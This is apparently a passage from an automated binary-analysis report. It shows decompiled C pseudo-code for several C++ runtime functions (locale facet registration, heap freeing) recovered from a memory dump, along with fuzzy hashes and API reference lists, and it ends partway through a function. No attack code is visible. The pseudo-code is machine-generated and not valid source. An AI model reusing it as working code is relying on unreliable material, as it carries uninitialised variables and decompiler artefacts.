Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: e19b08316931a09d210142fa29a39eb4fd7c28283043ba3cfacaad745288eb28
Instruction ID: a09a396f34704b041d7832a82a42cf76a4e71d69e7351eae3f27ab7c02dba916
Opcode Fuzzy Hash: e19b08316931a09d210142fa29a39eb4fd7c28283043ba3cfacaad745288eb28
Instruction Fuzzy Hash: 4201C436D001158BCB06FB65D9556BE7761AF44314F15085FE4156B382CF3C9E018799

Uniqueness

Uniqueness Score: -1.00%

Function 0048CE0C, Relevance: 7.5, APIs: 5, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048CE0C(intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				void* _v44;
				signed int _t57;
				void* _t95;
				short* _t139;
				void* _t152;
				signed int _t154;
				signed int _t155;
				signed int _t156;
				void* _t157;
				signed int _t158;
				signed int _t159;
				signed int _t160;
				signed int _t161;
				short* _t162;
				void* _t171;
				void* _t172;

				_push(8);
				E0049D90B(0x4d6966, _t152, _t157);
				E00488DEA( &_v20, 0);
				_t158 =  *0x4ede24; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t158;
				_t57 = E0042B315(_a8, E0042B22E(0x4eddc8, _t152, _t158, _t172));
				_t153 = _t57;
				if(_t57 != 0) {
					L5:
					E00488E42( &_v20);
					return E0049D8D4(_t153);
				} else {
					if(_t158 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E0048E6FD(_t153, _t158, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t153, _t158);
							E00488DEA( &_v20, 0);
							_t159 =  *0x4eddf4; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t159;
							_t154 = E0042B315(_a8, E0042B22E(0x4edda0, _t153, _t159, __eflags));
							__eflags = _t154;
							if(_t154 != 0) {
								L12:
								E00488E42( &_v20);
								return E0049D8D4(_t154);
							} else {
								__eflags = _t159;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E0048E769(_t154, _t159, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t154, _t159);
										E00488DEA( &_v20, 0);
										_t160 =  *0x4ede28; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t160;
										_t155 = E0042B315(_a8, E0042B22E(0x4eddcc, _t154, _t160, __eflags));
										__eflags = _t155;
										if(_t155 != 0) {
											L19:
											E00488E42( &_v20);
											return E0049D8D4(_t155);
										} else {
											__eflags = _t160;
											if(__eflags == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E0048E7D5(_t155, _t160, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													E0049D90B(0x4d6966, _t155, _t160);
													E00488DEA( &_v20, 0);
													_t161 =  *0x4eddf8; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t161;
													_t156 = E0042B315(_a8, E0042B22E(0x4edd78, _t155, _t161, __eflags));
													__eflags = _t156;
													if(_t156 != 0) {
														L26:
														E00488E42( &_v20);
														return E0049D8D4(_t156);
													} else {
														__eflags = _t161;
														if(__eflags == 0) {
															_push(_a8);
															_push( &_v16);
															_t95 = E0048E849(_t156, _t161, __eflags);
															_pop(_t139);
															__eflags = _t95 - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(_t161);
																_t162 = _t139;
																_t50 = _t162 + 0x10;
																 *_t50 =  *(_t162 + 0x10) & 0x00000000;
																__eflags =  *_t50;
																 *((intOrPtr*)(_t162 + 0x14)) = 7;
																 *_t162 = 0;
																E00494BE0( *((intOrPtr*)(_t171 + 8)));
																return _t162;
															} else {
																_t156 = _v16;
																_v16 = _t156;
																_v4 = 1;
																E0048919D(_t156);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t156 + 4))))();
																 *0x4eddf8 = _t156;
																goto L26;
															}
														} else {
															_t156 = _t161;
															goto L26;
														}
													}
												} else {
													_t155 = _v16;
													_v16 = _t155;
													_v4 = 1;
													E0048919D(_t155);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t155 + 4))))();
													 *0x4ede28 = _t155;
													goto L19;
												}
											} else {
												_t155 = _t160;
												goto L19;
											}
										}
									} else {
										_t154 = _v16;
										_v16 = _t154;
										_v4 = 1;
										E0048919D(_t154);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t154 + 4))))();
										 *0x4eddf4 = _t154;
										goto L12;
									}
								} else {
									_t154 = _t159;
									goto L12;
								}
							}
						} else {
							_t153 = _v16;
							_v16 = _t153;
							_v4 = 1;
							E0048919D(_t153);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t153 + 4))))();
							 *0x4ede24 = _t153;
							goto L5;
						}
					} else {
						_t153 = _t158;
						goto L5;
					}
				}
			}

0x0048ce0c
0x0048ce13
0x0048ce1d
0x0048ce22
0x0048ce2d
0x0048ce31
0x0048ce3d
0x0048ce42
0x0048ce46
0x0048ce8b
0x0048ce8e
0x0048ce9a
0x0048ce48
0x0048ce4a
0x0048ce50
0x0048ce56
0x0048ce5e
0x0048ce61
0x0048ce9b
0x0048cea0
0x0048cea1
0x0048cea8
0x0048ceb2
0x0048ceb7
0x0048cec2
0x0048cec6
0x0048ced7
0x0048ced9
0x0048cedb
0x0048cf20
0x0048cf23
0x0048cf2f
0x0048cedd
0x0048cedd
0x0048cedf
0x0048cee5
0x0048ceeb
0x0048cef3
0x0048cef6
0x0048cf30
0x0048cf35
0x0048cf36
0x0048cf3d
0x0048cf47
0x0048cf4c
0x0048cf57
0x0048cf5b
0x0048cf6c
0x0048cf6e
0x0048cf70
0x0048cfb5
0x0048cfb8
0x0048cfc4
0x0048cf72
0x0048cf72
0x0048cf74
0x0048cf7a
0x0048cf80
0x0048cf88
0x0048cf8b
0x0048cfc5
0x0048cfca
0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048d001
0x0048d003
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009
0x0048cf8d
0x0048cf8d
0x0048cf90
0x0048cf94
0x0048cf98
0x0048cfa5
0x0048cfad
0x0048cfaf
0x00000000
0x0048cfaf
0x0048cf76
0x0048cf76
0x00000000
0x0048cf76
0x0048cf74
0x0048cef8
0x0048cef8
0x0048cefb
0x0048ceff
0x0048cf03
0x0048cf10
0x0048cf18
0x0048cf1a
0x00000000
0x0048cf1a
0x0048cee1
0x0048cee1
0x00000000
0x0048cee1
0x0048cedf
0x0048ce63
0x0048ce63
0x0048ce66
0x0048ce6a
0x0048ce6e
0x0048ce7b
0x0048ce83
0x0048ce85
0x00000000
0x0048ce85
0x0048ce4c
0x0048ce4c
0x00000000
0x0048ce4c
0x0048ce4a

APIs

__EH_prolog3.LIBCMT ref: 0048CE13
std::_Lockit::_Lockit.LIBCPMT ref: 0048CE1D

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0048CE6E
std::_Lockit::~_Lockit.LIBCPMT ref: 0048CE8E
Concurrency::cancel_current_task.LIBCPMT ref: 0048CE9B

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: 86951028538775038ad657933a30b28308708f01fecc0618139120df9de89184
Instruction ID: a03dd6cb66350b0deeff51fad41350ed0add3e3c2ce38a763f2c52a7333759bf
Opcode Fuzzy Hash: 86951028538775038ad657933a30b28308708f01fecc0618139120df9de89184
Instruction Fuzzy Hash: 8301ED719002298BCB01FB65D899ABE77A1AF94314F14081EE410AB382CF789E01CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0048CEA1, Relevance: 7.5, APIs: 5, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048CEA1(intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				void* _v32;
				signed int _t45;
				void* _t72;
				short* _t106;
				void* _t116;
				signed int _t118;
				signed int _t119;
				void* _t120;
				signed int _t121;
				signed int _t122;
				signed int _t123;
				short* _t124;
				void* _t132;
				void* _t133;

				_push(8);
				E0049D90B(0x4d6966, _t116, _t120);
				E00488DEA( &_v20, 0);
				_t121 =  *0x4eddf4; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t121;
				_t45 = E0042B315(_a8, E0042B22E(0x4edda0, _t116, _t121, _t133));
				_t117 = _t45;
				if(_t45 != 0) {
					L5:
					E00488E42( &_v20);
					return E0049D8D4(_t117);
				} else {
					if(_t121 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E0048E769(_t117, _t121, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t117, _t121);
							E00488DEA( &_v20, 0);
							_t122 =  *0x4ede28; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t122;
							_t118 = E0042B315(_a8, E0042B22E(0x4eddcc, _t117, _t122, __eflags));
							__eflags = _t118;
							if(_t118 != 0) {
								L12:
								E00488E42( &_v20);
								return E0049D8D4(_t118);
							} else {
								__eflags = _t122;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E0048E7D5(_t118, _t122, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t118, _t122);
										E00488DEA( &_v20, 0);
										_t123 =  *0x4eddf8; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t123;
										_t119 = E0042B315(_a8, E0042B22E(0x4edd78, _t118, _t123, __eflags));
										__eflags = _t119;
										if(_t119 != 0) {
											L19:
											E00488E42( &_v20);
											return E0049D8D4(_t119);
										} else {
											__eflags = _t123;
											if(__eflags == 0) {
												_push(_a8);
												_push( &_v16);
												_t72 = E0048E849(_t119, _t123, __eflags);
												_pop(_t106);
												__eflags = _t72 - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(_t123);
													_t124 = _t106;
													_t38 = _t124 + 0x10;
													 *_t38 =  *(_t124 + 0x10) & 0x00000000;
													__eflags =  *_t38;
													 *((intOrPtr*)(_t124 + 0x14)) = 7;
													 *_t124 = 0;
													E00494BE0( *((intOrPtr*)(_t132 + 8)));
													return _t124;
												} else {
													_t119 = _v16;
													_v16 = _t119;
													_v4 = 1;
													E0048919D(_t119);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t119 + 4))))();
													 *0x4eddf8 = _t119;
													goto L19;
												}
											} else {
												_t119 = _t123;
												goto L19;
											}
										}
									} else {
										_t118 = _v16;
										_v16 = _t118;
										_v4 = 1;
										E0048919D(_t118);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t118 + 4))))();
										 *0x4ede28 = _t118;
										goto L12;
									}
								} else {
									_t118 = _t122;
									goto L12;
								}
							}
						} else {
							_t117 = _v16;
							_v16 = _t117;
							_v4 = 1;
							E0048919D(_t117);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t117 + 4))))();
							 *0x4eddf4 = _t117;
							goto L5;
						}
					} else {
						_t117 = _t121;
						goto L5;
					}
				}
			}

0x0048cea1
0x0048cea8
0x0048ceb2
0x0048ceb7
0x0048cec2
0x0048cec6
0x0048ced2
0x0048ced7
0x0048cedb
0x0048cf20
0x0048cf23
0x0048cf2f
0x0048cedd
0x0048cedf
0x0048cee5
0x0048ceeb
0x0048cef3
0x0048cef6
0x0048cf30
0x0048cf35
0x0048cf36
0x0048cf3d
0x0048cf47
0x0048cf4c
0x0048cf57
0x0048cf5b
0x0048cf6c
0x0048cf6e
0x0048cf70
0x0048cfb5
0x0048cfb8
0x0048cfc4
0x0048cf72
0x0048cf72
0x0048cf74
0x0048cf7a
0x0048cf80
0x0048cf88
0x0048cf8b
0x0048cfc5
0x0048cfca
0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048d001
0x0048d003
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009
0x0048cf8d
0x0048cf8d
0x0048cf90
0x0048cf94
0x0048cf98
0x0048cfa5
0x0048cfad
0x0048cfaf
0x00000000
0x0048cfaf
0x0048cf76
0x0048cf76
0x00000000
0x0048cf76
0x0048cf74
0x0048cef8
0x0048cef8
0x0048cefb
0x0048ceff
0x0048cf03
0x0048cf10
0x0048cf18
0x0048cf1a
0x00000000
0x0048cf1a
0x0048cee1
0x0048cee1
0x00000000
0x0048cee1
0x0048cedf

APIs

__EH_prolog3.LIBCMT ref: 0048CEA8
std::_Lockit::_Lockit.LIBCPMT ref: 0048CEB2

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0048CF03
std::_Lockit::~_Lockit.LIBCPMT ref: 0048CF23
Concurrency::cancel_current_task.LIBCPMT ref: 0048CF30

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: c706cb9b35c8553922a5e5530ba3a7b7aabf43fd4c1acedf4bca5782ac2d077e
Instruction ID: 17fd09bc5a2b9a23776ff6845afbd5a8be8b016436499cbaa6f6c10a48bf8e0a
Opcode Fuzzy Hash: c706cb9b35c8553922a5e5530ba3a7b7aabf43fd4c1acedf4bca5782ac2d077e
Instruction Fuzzy Hash: 6B01A171D001169BCB05FB65E955ABE7761AF84314F54081FE511AB3D2CF389D018799

Uniqueness

Uniqueness Score: -1.00%

Function 0048CF36, Relevance: 7.5, APIs: 5, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048CF36(intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				signed int _t33;
				void* _t49;
				short* _t73;
				void* _t80;
				signed int _t82;
				void* _t83;
				signed int _t84;
				signed int _t85;
				short* _t86;
				void* _t93;
				void* _t94;

				_push(8);
				E0049D90B(0x4d6966, _t80, _t83);
				E00488DEA( &_v20, 0);
				_t84 =  *0x4ede28; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t84;
				_t33 = E0042B315(_a8, E0042B22E(0x4eddcc, _t80, _t84, _t94));
				_t81 = _t33;
				if(_t33 != 0) {
					L5:
					E00488E42( &_v20);
					return E0049D8D4(_t81);
				} else {
					if(_t84 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E0048E7D5(_t81, _t84, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t81, _t84);
							E00488DEA( &_v20, 0);
							_t85 =  *0x4eddf8; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t85;
							_t82 = E0042B315(_a8, E0042B22E(0x4edd78, _t81, _t85, __eflags));
							__eflags = _t82;
							if(_t82 != 0) {
								L12:
								E00488E42( &_v20);
								return E0049D8D4(_t82);
							} else {
								__eflags = _t85;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									_t49 = E0048E849(_t82, _t85, __eflags);
									_pop(_t73);
									__eflags = _t49 - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(_t85);
										_t86 = _t73;
										_t26 = _t86 + 0x10;
										 *_t26 =  *(_t86 + 0x10) & 0x00000000;
										__eflags =  *_t26;
										 *((intOrPtr*)(_t86 + 0x14)) = 7;
										 *_t86 = 0;
										E00494BE0( *((intOrPtr*)(_t93 + 8)));
										return _t86;
									} else {
										_t82 = _v16;
										_v16 = _t82;
										_v4 = 1;
										E0048919D(_t82);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t82 + 4))))();
										 *0x4eddf8 = _t82;
										goto L12;
									}
								} else {
									_t82 = _t85;
									goto L12;
								}
							}
						} else {
							_t81 = _v16;
							_v16 = _t81;
							_v4 = 1;
							E0048919D(_t81);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t81 + 4))))();
							 *0x4ede28 = _t81;
							goto L5;
						}
					} else {
						_t81 = _t84;
						goto L5;
					}
				}
			}

0x0048cf36
0x0048cf3d
0x0048cf47
0x0048cf4c
0x0048cf57
0x0048cf5b
0x0048cf67
0x0048cf6c
0x0048cf70
0x0048cfb5
0x0048cfb8
0x0048cfc4
0x0048cf72
0x0048cf74
0x0048cf7a
0x0048cf80
0x0048cf88
0x0048cf8b
0x0048cfc5
0x0048cfca
0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048d001
0x0048d003
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009
0x0048cf8d
0x0048cf8d
0x0048cf90
0x0048cf94
0x0048cf98
0x0048cfa5
0x0048cfad
0x0048cfaf
0x00000000
0x0048cfaf
0x0048cf76
0x0048cf76
0x00000000
0x0048cf76
0x0048cf74

APIs

__EH_prolog3.LIBCMT ref: 0048CF3D
std::_Lockit::_Lockit.LIBCPMT ref: 0048CF47

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0048CF98
std::_Lockit::~_Lockit.LIBCPMT ref: 0048CFB8
Concurrency::cancel_current_task.LIBCPMT ref: 0048CFC5

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: 96ce4f7fc4148f09f6ab127db4bb919ca244c50d4cf3a2eaa0bb7a99c46fdf03
Instruction ID: d00191ee0539962db96476a6738c2fb0da11e71ebf61d49d6df8079211b98099
Opcode Fuzzy Hash: 96ce4f7fc4148f09f6ab127db4bb919ca244c50d4cf3a2eaa0bb7a99c46fdf03
Instruction Fuzzy Hash: B701E132A001158BCB01FBA598996BE7771AF84324F14081FF5106B3C2CF3C9D018798

Uniqueness

Uniqueness Score: -1.00%

Function 0048CFCB, Relevance: 7.5, APIs: 5, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E0048CFCB(intOrPtr _a8) {
				signed int _v4;
				void* _v8;
				void* _v16;
				char _v20;
				intOrPtr* _t21;
				void* _t26;
				short* _t40;
				void* _t44;
				void* _t46;
				void* _t47;
				short* _t48;
				void* _t54;
				void* _t55;

				_push(8);
				E0049D90B(0x4d6966, _t44, _t46);
				E00488DEA( &_v20, 0);
				_t47 =  *0x4eddf8; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t47;
				_t21 = E0042B315(_a8, E0042B22E(0x4edd78, _t44, _t47, _t55));
				_t45 = _t21;
				if(_t21 != 0) {
					L5:
					E00488E42( &_v20);
					return E0049D8D4(_t45);
				} else {
					if(_t47 == 0) {
						_push(_a8);
						_push( &_v16);
						_t26 = E0048E849(_t45, _t47, __eflags);
						_pop(_t40);
						__eflags = _t26 - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(_t47);
							_t48 = _t40;
							_t14 = _t48 + 0x10;
							 *_t14 =  *(_t48 + 0x10) & 0x00000000;
							__eflags =  *_t14;
							 *((intOrPtr*)(_t48 + 0x14)) = 7;
							 *_t48 = 0;
							E00494BE0( *((intOrPtr*)(_t54 + 8)));
							return _t48;
						} else {
							_t45 = _v16;
							_v16 = _t45;
							_v4 = 1;
							E0048919D(_t45);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t45 + 4))))();
							 *0x4eddf8 = _t45;
							goto L5;
						}
					} else {
						_t45 = _t47;
						goto L5;
					}
				}
			}

0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048cffc
0x0048d001
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009

APIs

__EH_prolog3.LIBCMT ref: 0048CFD2
std::_Lockit::_Lockit.LIBCPMT ref: 0048CFDC

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0048D02D
std::_Lockit::~_Lockit.LIBCPMT ref: 0048D04D
Concurrency::cancel_current_task.LIBCPMT ref: 0048D05A

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: fc8fdd9a5476b10b3955ef83531fc36b1192845be5a29a8105f932ba5cd76491
Instruction ID: 8dc615d5de82a91b4aa80d915f54963e5a9f6041fc2f0b4740d8236d3ab88111
Opcode Fuzzy Hash: fc8fdd9a5476b10b3955ef83531fc36b1192845be5a29a8105f932ba5cd76491
Instruction Fuzzy Hash: EB01AD71D002169BCB05FB669855ABE7762AF80318F25085EE421AB3C2CF3C9E028799

Uniqueness

Uniqueness Score: -1.00%

Function 004BD298, Relevance: 7.5, APIs: 5, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004BD298(intOrPtr* _a4) {
				intOrPtr _t6;
				intOrPtr* _t21;
				void* _t23;
				void* _t26;

				_t21 = _a4;
				if(_t21 != 0) {
					_t23 =  *_t21 -  *0x4eb098; // 0x4eb090
					if(_t23 != 0) {
						E004B2FCF(_t7);
					}
					_t8 =  *((intOrPtr*)(_t21 + 4));
					if( *((intOrPtr*)(_t21 + 4)) !=  *0x4eb09c) {
						E004B2FCF(_t8);
					}
					_t9 =  *((intOrPtr*)(_t21 + 8));
					if( *((intOrPtr*)(_t21 + 8)) !=  *0x4eb0a0) {
						E004B2FCF(_t9);
					}
					_t26 =  *((intOrPtr*)(_t21 + 0x30)) -  *0x4eb0c8; // 0x4eb094
					if(_t26 != 0) {
						E004B2FCF(_t10);
					}
					_t6 =  *((intOrPtr*)(_t21 + 0x34));
					if(_t6 !=  *0x4eb0cc) {
						return E004B2FCF(_t6);
					}
				}
				return _t6;
			}

0x004bd29e
0x004bd2a3
0x004bd2a7
0x004bd2ad
0x004bd2b0
0x004bd2b5
0x004bd2b6
0x004bd2bf
0x004bd2c2
0x004bd2c7
0x004bd2c8
0x004bd2d1
0x004bd2d4
0x004bd2d9
0x004bd2dd
0x004bd2e3
0x004bd2e6
0x004bd2eb
0x004bd2ec
0x004bd2f5
0x00000000
0x004bd2fd
0x004bd2f5
0x004bd300

APIs

_free.LIBCMT ref: 004BD2B0

Part of subcall function 004B2FCF: RtlFreeHeap.NTDLL(00000000,00000000,?,004BD54B,?,00000000,?,00000000,?,004BD7EF,?,00000007,?,?,004BDBE3,?), ref: 004B2FE5

_free.LIBCMT ref: 004BD2C2
_free.LIBCMT ref: 004BD2D4
_free.LIBCMT ref: 004BD2E6
_free.LIBCMT ref: 004BD2F8

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free$FreeHeap
String ID:
API String ID: 2929853658-0
Opcode ID: 34ac51e8c055b3e294664dc612bae3cbc5df9e589059a9aa6d23460dcf2f4a11
Instruction ID: 21bbc4205594669f68ab256063db33df7e1a3609b43c217ca4934aeb7d5d12d3
Opcode Fuzzy Hash: 34ac51e8c055b3e294664dc612bae3cbc5df9e589059a9aa6d23460dcf2f4a11
Instruction Fuzzy Hash: 18F09C32804280A78629DB55E9C1CA7B7E9EF403103550C8BF418DB757D778FC805ABC

Uniqueness

Uniqueness Score: -1.00%

Function 004AF8C2, Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E004AF8C2(void* __ebx, signed int __ecx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12, signed int** _a16, signed int* _a20, intOrPtr _a24) {
				signed int _v8;
				short _v10;
				short _v12;
				short _v14;
				short _v16;
				short _v18;
				short _v22;
				char _v24;
				signed int _v28;
				signed int* _v32;
				signed int _v33;
				signed int** _v40;
				intOrPtr _v44;
				intOrPtr* _v48;
				intOrPtr _v52;
				void* _v64;
				signed int _t86;
				intOrPtr _t91;
				signed int _t94;
				signed int _t95;
				signed int _t96;
				void* _t97;
				signed int _t98;
				signed int _t102;
				signed int _t103;
				signed int _t104;
				intOrPtr _t105;
				signed int _t110;
				void* _t111;
				signed int _t116;
				signed int _t117;
				signed int _t129;
				void* _t133;
				signed int _t135;
				intOrPtr _t143;
				signed short* _t144;
				intOrPtr _t145;
				signed int** _t146;
				signed int _t147;
				signed int* _t148;
				signed int _t149;
				signed int _t152;
				signed short** _t154;
				signed int _t155;
				signed int _t159;
				signed int _t163;
				intOrPtr* _t171;
				signed short _t172;
				signed short* _t173;
				signed int** _t174;
				void* _t175;
				void* _t177;
				signed short* _t179;
				intOrPtr* _t180;
				intOrPtr* _t181;
				signed int* _t183;
				signed int _t184;
				signed int** _t185;
				signed int _t186;
				signed int _t187;
				signed int _t188;

				_t149 = __ecx;
				_t86 =  *0x4eb018; // 0x6027d6a0
				_v8 = _t86 ^ _t187;
				_t171 = _a12;
				_v52 = _a4;
				_t143 = _a24;
				_v40 = _a16;
				_v48 = _t171;
				_v44 = _t143;
				_t183 = _a20;
				_v32 = _t183;
				_t91 = _a8;
				if(_t91 == 0) {
					_t179 =  *(_t143 + 0x154);
				} else {
					if(_t91 == 1) {
						_t179 =  *(_t143 + 0x158);
					} else {
						_t179 =  *(_t143 + 0x15c);
					}
				}
				if( *((intOrPtr*)(_t143 + 0xac)) == 1) {
					goto L113;
				} else {
					_t163 = _t149 & 0xffffff00 | _a8 == 0x00000002;
					_v24 = 0x76c +  *((intOrPtr*)(_t171 + 0x14));
					_v33 = _t163;
					_v22 =  *((intOrPtr*)(_t171 + 0x10)) + 1;
					_v18 =  *((intOrPtr*)(_t171 + 0xc));
					_v16 =  *((intOrPtr*)(_t171 + 8));
					_v14 =  *((intOrPtr*)(_t171 + 4));
					_v12 =  *_t171;
					_v10 = 0;
					_t194 = _t163;
